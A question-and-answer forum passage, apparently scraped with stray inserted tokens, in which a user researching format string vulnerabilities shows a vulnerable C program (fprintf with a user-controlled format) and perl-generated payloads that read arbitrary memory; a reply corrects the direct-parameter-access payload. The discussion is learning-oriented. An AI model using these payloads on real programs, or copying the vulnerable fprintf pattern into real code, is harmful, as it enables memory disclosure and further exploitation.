I am doing some computer security research, and I am trying to learn about string format vulnerabilities. I am running a program that contains this code:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
When I feed the program the argument "%08x.%08x.%08x.%08x.%08x" (which gets read into the "data" variable), I get the output: 00000020.b7fd7560.08048b09.00000019.78383025
I understand that each hex number is popped off the stack, and the "78383025" comes from the buffer itself. So there are 4 words--16 bytes--that I have to pop off before I get to the start of my buffer.
When I give the argument `perl -e 'pri开发者_JAVA技巧nt "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`
, the %s part prints the string located at memory address 0xbffff92a.
Now, I'd like to do this using direct parameter access. If I feed the program the argument `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`
, I should expect the program to do the same thing as above. But all the program prints is the four characters at the start of the buffer. So, what gives??? Am I using the wrong syntax for DPA???
I am using Ubuntu 9.04, 32-bit by the way.
Here is some compilable code, not guaranteed to produce the same results though:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}
%16$s
refers to the 16-th argument after the format string, and tells printf
to interpret it as a char*
and display it as a string.
You seem to be using it as a means to skip 16 bytes before getting the string though, which is not exactly the same thing.
Since you want the 5-th argument, try something more like this format string :
"\x2a\xf9\xff\xbf%5$s"
Since you're using perl -e 'print "...";'
to pass the data, you will have to escape the $
character. Ie. :
./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
精彩评论